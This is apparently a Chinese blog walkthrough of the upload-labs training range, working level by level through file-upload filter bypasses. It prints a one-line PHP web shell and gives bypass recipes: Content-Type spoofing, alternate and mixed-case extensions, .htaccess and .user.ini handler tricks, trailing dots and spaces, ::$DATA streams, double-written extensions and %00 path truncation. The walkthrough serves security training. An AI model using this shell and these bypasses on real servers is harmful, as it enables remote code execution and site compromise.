赞
踩
upload-labs
是专门针对文件上传的靶场。总共21关,现在搬起小板凳,让我们一起来学习吧!
这里为了方便,我们直接在Windows下用phpstudy
来搭建。(Linux环境或php版本过高,可能导致某些关卡不能顺利通过。)
我们直接在kali中生成一个php shell。
- <?php
- eval($_GET['a']);
- ?>
我们直接尝试上传php。提示不是图片格式!
审查元素,发现有js对上传做了限制,换句话来说就是进行了前端限制。我们将相应的js语句删掉,或者将js禁用。便可直接上传。
我们首先在源码中发现,在上传过程中,将信息头的 Content-Type
字段限制在了 image/jpeg
,我们需要用burp进行抓包,修改信息头就行了。即,将Content-Type: application/x-php
修改为Content-Type: image/jpeg
通过查看源码,我们可以看到,将文件的后缀名进行了限制
$deny_ext = array('.asp','.aspx','.php','.jsp');
但是,在php中.php3、.php4、.php5、.pht、.phtml、.phps 的文件都会被解析为 php 文件。因此,我们需要将原来的kali.php
改为kali.phtml
即可。当然这种方法也只有低版本的php中才能复现。
通过查看源码,我们发现能把禁用的后缀都禁用了。
这时,我们要使用 .htaccess
文件实现攻击。
- # 将后缀名为 h-t-m 的文件解析为 php 脚本执行
- AddType application/x-httpd-php .h-t-m
- # 将后缀名为 h-t-m 的文件用 php处理器 来处理,效果同上
- AddHandler php5-script .h-t-m
- # 将所有文件解析为 php 脚本执行
- SetHandler application/x-httpd-php
将文件直接修改后缀名为 .h-t-m
,配置文件内输入上述指令且保证文件名为 .htaccess
即可。
仔细观察黑名单,会发现后面几关的黑名单都比这一关多了一个.ini
。php.ini
是 php 的配置文件,.user.ini
中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
准备文件:创建 .user.ini
文件,内容为:
auto_prepend_file=520.h-t-m
修改文件的文件名为 kali.h-t-m
和上关一样。上传即可!
仔细观察黑名单,发现漏掉了大写的PHP
修改后缀名为kali.PHP
上传即可。
在 Burp Suite 中打开靶机,直接上传备好的木马文件,抓包并在上传的文件名末尾加上一个空格。
通过阅读代码,我们发现了这句
$file_name = deldot($file_name);//删除文件名末尾的点
值得注意的是由于后续语句都基于最后一个点所提取出来的后缀名做的操作,而该语句的删除也导致后缀名提取为空,即 .php. 中最后一个点后面所接的后缀名为空。因此,我们需要在在 BurpSuite 中上传文件抓包修改文件名,只需要在最后加上一个点即可.
通过观察源码,少了
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
关于 ::的作用,在系统中只会以DATA 前的数据当作文件名。因此,如果文件名为 h-t-m.php::
DATA 即可:
在Windows中, .php.
执行时却因为自动忽略而变成.php
。因此将文件的后缀名修改为.php. .
直接查看源码,重点在这句:
$file_name = str_ireplace($deny_ext,"", $file_name);
那就直接将文件后缀名改成 .pphphp
上传即可。
当我们上传一个 jpg 文件,并且指定的路径 save_path 为 ../kali.php%00
,连之后就会变成 ../kali.php%00/[随机数].jpg
. 而这段字符串在%00
就已经被截断了,因此原本将文件上传至 jpg 文件的语句就变成的将文件上传至 kali.php 文件中。
打开 BurpSuite 上传上一关相同的文件(以 .jpg 后缀作为伪装的 php 文件),我们可以在 Raw 模式下编辑好路径,最后留下一个字符便于我们修改,这里预留一个 / 字符:在二进制(Hex)中找到对应字符,将其修改为 00 即可:
制作图片
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。